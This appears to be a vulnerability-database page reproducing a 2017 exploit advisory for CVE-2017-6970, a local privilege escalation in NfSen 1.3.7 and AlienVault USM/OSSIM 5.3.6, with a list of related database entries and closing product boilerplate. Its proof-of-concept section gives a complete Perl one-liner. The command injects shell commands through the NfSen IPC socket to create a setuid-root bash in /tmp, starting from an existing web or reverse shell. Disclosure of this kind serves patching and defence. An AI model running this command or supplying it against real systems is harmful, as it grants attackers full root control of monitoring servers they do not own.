| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| NfSen < 1.3.7 / AlienVault OSSIM < 5.3.6 - Privilege Escalation Vulnerability | 10 Jul 201700:00 | – | zdt | |
| CVE-2017-6970 | 10 Jul 201700:00 | – | circl | |
| AlienVault USM Local Command Execution Vulnerability | 23 Mar 201700:00 | – | cnvd | |
| CVE-2017-6970 | 22 Mar 201714:00 | – | cve | |
| CVE-2017-6970 | 22 Mar 201714:00 | – | cvelist | |
| EUVD-2017-16008 | 7 Oct 202500:30 | – | euvd | |
| NfSen 1.3.7 AlienVault OSSIM 5.3.6 - Local Privilege Escalation | 10 Jul 201700:00 | – | exploitpack | |
| CVE-2017-6970 | 22 Mar 201714:59 | – | nvd | |
| CVE-2017-6970 | 22 Mar 201714:59 | – | osv | |
| NfSen 1.3.7 / AlienVault USM/OSSIM 5.3.6 Local Root | 10 Jul 201700:00 | – | packetstorm |
# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
# Version: NfSen 1.3.7
# Version: AlienVault 5.3.6
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.6
# CVE: CVE-2017-6970
1. Description
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.
2. Proof of Concept
Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).
Execute the following command:
perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.
3. Solution:
Update to latest version of NfSen/USM/OSSIMData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation